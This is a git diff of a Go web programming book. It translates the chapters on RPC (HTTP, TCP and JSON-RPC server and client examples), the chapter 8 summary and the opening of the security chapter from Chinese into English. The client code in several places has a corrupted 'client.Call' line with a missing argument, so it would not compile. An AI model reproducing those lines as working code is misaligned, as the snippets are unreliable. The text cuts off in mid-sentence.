-http的服务端代码实现如下: - - package main - - import ( - "errors" - "fmt" - "net/http" - "net/rpc" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - type Arith int - - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } - - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil - } - - func main() { - - arith := new(Arith) - rpc.Register(arith) - rpc.HandleHTTP() - - err := http.ListenAndServe(":1234", nil) - if err != nil { - fmt.Println(err.Error()) - } - } - -通过上面的例子可以看到,我们注册了一个Arith的RPC服务,然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上,然后我们就可以利用http的方式来传递数据了。 - -请看下面的客户端代码: - - package main - - import ( - "fmt" - "log" - "net/rpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server") - os.Exit(1) - } - serverAddress := os.Args[1] - - client, err := rpc.DialHTTP("tcp", serverAddress+":1234") - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - - } - -我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息: - - $ ./http_c localhost - Arith: 17*8=136 - Arith: 17/8=2 remainder 1 - -通过上面的调用可以看到参数和返回值是我们定义的struct类型,在服务端我们把它们当做调用函数的参数的类型,在客户端作为`client.Call`的第2,3两个参数的类型。客户端最重要的就是这个Call函数,它有3个参数,第1个要调用的函数的名字,第2个是要传递的参数,第3个要返回的参数(注意是指针类型),通过上面的代码例子我们可以发现,使用Go的RPC实现相当的简单,方便。 -### TCP RPC -上面我们实现了基于HTTP协议的RPC,接下来我们要实现基于TCP协议的RPC,服务端的实现代码如下所示: - - package main - - import ( - "errors" - "fmt" - "net" - "net/rpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - type Arith int - - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } - - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil - } - - func main() { - - arith := new(Arith) - rpc.Register(arith) - - tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") - checkError(err) - - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - - for { - conn, err := listener.Accept() - if err != nil { - continue - } - rpc.ServeConn(conn) - } - - } - - func checkError(err error) { - if err != nil { - fmt.Println("Fatal error ", err.Error()) - os.Exit(1) - } - } - -上面这个代码和http的服务器相比,不同在于:在此处我们采用了TCP协议,然后需要自己控制连接,当有客户端连接上来后,我们需要把这个连接交给rpc来处理。 - -如果你留心了,你会发现这它是一个阻塞型的单用户的程序,如果想要实现多并发,那么可以使用goroutine来实现,我们前面在socket小节的时候已经介绍过如何处理goroutine。 -下面展现了TCP实现的RPC客户端: - - package main - - import ( - "fmt" - "log" - "net/rpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server:port") - os.Exit(1) - } - service := os.Args[1] - - client, err := rpc.Dial("tcp", service) - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - - } - -这个客户端代码和http的客户端代码对比,唯一的区别一个是DialHTTP,一个是Dial(tcp),其他处理一模一样。 - -### JSON RPC -JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介绍的RPC概念一模一样,下面我们来演示一下,如何使用Go提供的json-rpc标准包,请看服务端代码的实现: - - package main - - import ( - "errors" - "fmt" - "net" - "net/rpc" - "net/rpc/jsonrpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - type Arith int - - func (t *Arith) Multiply(args *Args, reply *int) error { - *reply = args.A * args.B - return nil - } - - func (t *Arith) Divide(args *Args, quo *Quotient) error { - if args.B == 0 { - return errors.New("divide by zero") - } - quo.Quo = args.A / args.B - quo.Rem = args.A % args.B - return nil - } - - func main() { - - arith := new(Arith) - rpc.Register(arith) - - tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") - checkError(err) - - listener, err := net.ListenTCP("tcp", tcpAddr) - checkError(err) - - for { - conn, err := listener.Accept() - if err != nil { - continue - } - jsonrpc.ServeConn(conn) - } - - } - - func checkError(err error) { - if err != nil { - fmt.Println("Fatal error ", err.Error()) - os.Exit(1) - } - } - -通过示例我们可以看出 json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。 - -请看客户端的实现代码: - - package main - - import ( - "fmt" - "log" - "net/rpc/jsonrpc" - "os" - ) - - type Args struct { - A, B int - } - - type Quotient struct { - Quo, Rem int - } - - func main() { - if len(os.Args) != 2 { - fmt.Println("Usage: ", os.Args[0], "server:port") - log.Fatal(1) - } - service := os.Args[1] - - client, err := jsonrpc.Dial("tcp", service) - if err != nil { - log.Fatal("dialing:", err) - } - // Synchronous call - args := Args{17, 8} - var reply int - err = client.Call("Arith.Multiply", args, &reply) - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) - - var quot Quotient - err = client.Call("Arith.Divide", args, ") - if err != nil { - log.Fatal("arith error:", err) - } - fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) - - } - -## 总结 -Go已经提供了对RPC的良好支持,通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用,我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持,欣慰的是现在已经有第三方的开源实现了。 - - - -## links - * [目录]() - * 上一节: [REST](<08.3.md>) - * 下一节: [小结](<08.5.md>) +# 8.4 RPC + +In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both of them use the "information exchange" model, in which clients send requests and servers respond to them. This kind of data exchange is based on a specific format so that both sides are able to communicate with one another. However, many independent applications do not use this model, but instead call services just like they would call normal functions. + +RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions, except they package the function parameters and send them through the network to the server. The server can then unpack these parameters and process the request, executing the results back to the client. + +In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation. + +## RPC working principle + +![](images/8.4.rpc.png?raw=true) + +Figure 8.8 RPC working principle + +Normally, an RPC call from client to server has the following ten steps: + +- 1. Call the client handle, execute transfer arguments. +- 2. Call local system kernel to send network messages. +- 3. Send messages to remote hosts. +- 4. The server receives handle and arguments. +- 5. Execute remote processes. +- 6. Return execution result to corresponding handle. +- 7. The server handle calls remote system kernel. +- 8. Messages sent back to local system kernel. +- 9. The client handle receives messages from system kernel. +- 10. The client gets results from corresponding handle. + +## Go RPC + +Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides because it encodes content using Gob. + +Functions of Go RPC have must abide by the following rules for remote access, otherwise the corresponding calls will be ignored. + +- Functions are exported (capitalize). +- Functions have to have two arguments with exported types. +- The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the client. +- Functions have to have a return value of error type. + +For example: + + func (t *T) MethodName(argType T1, replyType *T2) error + +Where T, T1 and T2 must be able to be encoded by the `package/gob` package. + +Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using HTTP is that you can reuse some functions from the `net/http` package. + +### HTTP RPC + +HTTP server side code: + + package main + + import ( + "errors" + "fmt" + "net/http" + "net/rpc" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } + } + +We registered a RPC service of Arith, then registered this service on HTTP through `rpc.HandleHTTP`. After that, we are able to transfer data through HTTP. + +Client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +We compile the client and the server side code separately then start the server and client. You'll then have something similar as follows after you input some data. + + $ ./http_c localhost + Arith: 17*8=136 + Arith: 17/8=2 remainder 1 + +As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as the type of the second and third arguments on the client `client.Call`. This call is very important. It has three arguments, where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and the last one is the return value (of pointer type). So far we see that it's easy to implement RPC in Go. + +### TCP RPC + +Let's try the RPC that is based on TCP, here is the server side code: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing. + +As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more advanced experiment. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP). + +### JSON RPC + +JSON RPC encodes data to JSON instead of gob. Let's see an example of a Go JSON RPC on the server: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +JSON RPC is based on TCP and doesn't support HTTP yet. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +## Summary + +Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web applications; however, it is regrettable that Go doesn't have built-in support for SOAP RPC, although some open source third-party packages do offer this. + +## Links + +- [Directory](preface.md) +- Previous section: [REST](08.3.md) +- Next section: [Summary](08.5.md) diff --git a/en/08.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/08.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..d2da4fb2 --- /dev/null +++ b/en/08.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,392 @@ +# 8.4 RPC +前面几个小节我们介绍了如何基于Socket和HTTP来编写网络应用,通过学习我们了解了Socket和HTTP采用的是类似"信息交换"模式,即客户端发送一条信息到服务端,然后(一般来说)服务器端都会返回一定的信息以表示响应。客户端和服务端之间约定了交互信息的格式,以便双方都能够解析交互所产生的信息。但是很多独立的应用并没有采用这种模式,而是采用类似常规的函数调用的方式来完成想要的功能。 + +RPC就是想实现函数调用模式的网络化。客户端就像调用本地函数一样,然后客户端把这些参数打包之后通过网络传递到服务端,服务端解包到处理过程中执行,然后执行的结果反馈给客户端。 + +RPC(Remote Procedure Call Protocol)——远程过程调用协议,是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。它假定某些传输协议的存在,如TCP或UDP,以便为通信程序之间携带信息数据。通过它可以使函数调用模式网络化。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。 + +## RPC工作原理 + +![](images/8.4.rpc.png?raw=true) + +图8.8 RPC工作流程图 + +运行时,一次客户机对服务器的RPC调用,其内部操作大致有如下十步: + +- 1.调用客户端句柄;执行传送参数 +- 2.调用本地系统内核发送网络消息 +- 3.消息传送到远程主机 +- 4.服务器句柄得到消息并取得参数 +- 5.执行远程过程 +- 6.执行的过程将结果返回服务器句柄 +- 7.服务器句柄返回结果,调用远程系统内核 +- 8.消息传回本地主机 +- 9.客户句柄由内核接收消息 +- 10.客户接收句柄返回的数据 + +## Go RPC +Go标准包中已经提供了对RPC的支持,而且支持三个级别的RPC:TCP、HTTP、JSONRPC。但Go的RPC包是独一无二的RPC,它和传统的RPC系统不同,它只支持Go开发的服务器与客户端之间的交互,因为在内部,它们采用了Gob来编码。 + +Go RPC的函数只有符合下面的条件才能被远程访问,不然会被忽略,详细的要求如下: + +- 函数必须是导出的(首字母大写) +- 必须有两个导出类型的参数, +- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的 +- 函数还要有一个返回值error + +举个例子,正确的RPC函数格式如下: + + func (t *T) MethodName(argType T1, replyType *T2) error + +T、T1和T2类型必须能被`encoding/gob`包编解码。 + +任何的RPC都需要通过网络来传递数据,Go RPC可以利用HTTP和TCP来传递数据,利用HTTP的好处是可以直接复用`net/http`里面的一些函数。详细的例子请看下面的实现 + +### HTTP RPC +http的服务端代码实现如下: + + package main + + import ( + "errors" + "fmt" + "net/http" + "net/rpc" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } + } + +通过上面的例子可以看到,我们注册了一个Arith的RPC服务,然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上,然后我们就可以利用http的方式来传递数据了。 + +请看下面的客户端代码: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息: + + $ ./http_c localhost + Arith: 17*8=136 + Arith: 17/8=2 remainder 1 + +通过上面的调用可以看到参数和返回值是我们定义的struct类型,在服务端我们把它们当做调用函数的参数的类型,在客户端作为`client.Call`的第2,3两个参数的类型。客户端最重要的就是这个Call函数,它有3个参数,第1个要调用的函数的名字,第2个是要传递的参数,第3个要返回的参数(注意是指针类型),通过上面的代码例子我们可以发现,使用Go的RPC实现相当的简单,方便。 +### TCP RPC +上面我们实现了基于HTTP协议的RPC,接下来我们要实现基于TCP协议的RPC,服务端的实现代码如下所示: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +上面这个代码和http的服务器相比,不同在于:在此处我们采用了TCP协议,然后需要自己控制连接,当有客户端连接上来后,我们需要把这个连接交给rpc来处理。 + +如果你留心了,你会发现这它是一个阻塞型的单用户的程序,如果想要实现多并发,那么可以使用goroutine来实现,我们前面在socket小节的时候已经介绍过如何处理goroutine。 +下面展现了TCP实现的RPC客户端: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +这个客户端代码和http的客户端代码对比,唯一的区别一个是DialHTTP,一个是Dial(tcp),其他处理一模一样。 + +### JSON RPC +JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介绍的RPC概念一模一样,下面我们来演示一下,如何使用Go提供的json-rpc标准包,请看服务端代码的实现: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +通过示例我们可以看出 json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。 + +请看客户端的实现代码: + + package main + + import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +## 总结 +Go已经提供了对RPC的良好支持,通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用,我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持,欣慰的是现在已经有第三方的开源实现了。 + + + +## links + * [目录]() + * 上一节: [REST](<08.3.md>) + * 下一节: [小结](<08.5.md>) diff --git a/en/08.5.md b/en/08.5.md index b2075bbb..560e9469 100644 --- a/en/08.5.md +++ b/en/08.5.md @@ -1,6 +1,11 @@ -# 8.5 小结 -这一章我们介绍了目前流行的几种主要的网络应用开发方式,第一小节介绍了网络编程中的基础:Socket编程,因为现在网络正在朝云的方向快速进化,作为这一技术演进的基石的的socket知识,作为开发者的你,是必须要掌握的。第二小节介绍了正愈发流行的HTML5中一个重要的特性WebSocket,通过它,服务器可以实现主动的push消息,以简化以前ajax轮询的模式。第三小节介绍了REST编写模式,这种模式特别适合来开发网络应用API,目前移动应用的快速发展,我觉得将来会是一个潮流。第四小节介绍了Go实现的RPC相关知识,对于上面四种开发方式,Go都已经提供了良好的支持,net包及其子包,是所有涉及到网络编程的工具的所在地。如果你想更加深入的了解相关实现细节,可以尝试阅读这个包下面的源码。 -## links - * [目录]() - * 上一节: [RPC](<08.4.md>) - * 下一章: [安全与加密](<09.0.md>) +# 8.5 Summary + +In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs. + +Go provides excellent support for the four kinds of development methods mentioned above. Note that the `net` package and its sub-packages is the place where Go's network programming tools Go reside. If you want a more in-depth understanding of the relevant implementation details, you should try reading the source code of those packages. + +## Links + +- [Directory](preface.md) +- Previous section: [RPC](08.4.md) +- Next chapter: [Security and encryption](09.0.md) diff --git a/en/08.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/08.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..bc7c1bc3 --- /dev/null +++ b/en/08.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,6 @@ +# 8.5 小结 +这一章我们介绍了目前流行的几种主要的网络应用开发方式,第一小节介绍了网络编程中的基础:Socket编程,因为现在网络正在朝云的方向快速进化,作为这一技术演进的基石的的socket知识,作为开发者的你,是必须要掌握的。第二小节介绍了正愈发流行的HTML5中一个重要的特性WebSocket,通过它,服务器可以实现主动的push消息,以简化以前ajax轮询的模式。第三小节介绍了REST编写模式,这种模式特别适合来开发网络应用API,目前移动应用的快速发展,我觉得将来会是一个潮流。第四小节介绍了Go实现的RPC相关知识,对于上面四种开发方式,Go都已经提供了良好的支持,net包及其子包,是所有涉及到网络编程的工具的所在地。如果你想更加深入的了解相关实现细节,可以尝试阅读这个包下面的源码。 +## links + * [目录]() + * 上一节: [RPC](<08.4.md>) + * 下一章: [安全与加密](<09.0.md>) diff --git a/en/09.0.md b/en/09.0.md index d0e977ed..0828c312 100644 --- a/en/09.0.md +++ b/en/09.0.md @@ -1,20 +1,19 @@ -# 9 安全与加密 -无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者,对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件,更是让我们对Web安全这个话题更加重视,所有人都谈密码色变,都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者,一定也需要知道我们的应用程序随时会成为众多攻击者的目标,并提前做好防范的准备。 - -很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据,在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端,就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询,那么就可能造成SQL注入问题,我们将会在9.3、9.4小节介绍如何避免这些问题。 - -在使用第三方提供的数据,包括用户提供的数据时,首先检验这些数据的合法性非常重要,这个过程叫做过滤,我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。 - -过滤输入和转义输出并不能解决所有的安全问题,我们将会在9.1讲解的CSRF攻击,会导致受骗者发送攻击者指定的请求从而造成一些破坏。 - -与安全加密相关的,能够增强我们的Web应用程序的强大手段就是加密,CSDN泄密事件就是因为密码保存的是明文,使得攻击拿手库之后就可以直接实施一些破坏行为了。不过,和其他工具一样,加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。 - -加密的本质就是扰乱数据,某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式,也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。 - -## 目录 - ![](images/navi9.png?raw=true) - -## links - * [目录]() - * 上一章: [第八章总结](<08.5.md>) - * 下一节: [预防CSRF攻击](<09.1.md>) +# 9 Security and encryption +Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems. + +Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look at how to avoid these problems. + +When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input. + +Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks. +This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts. + +Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go's encryption package. + +A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which 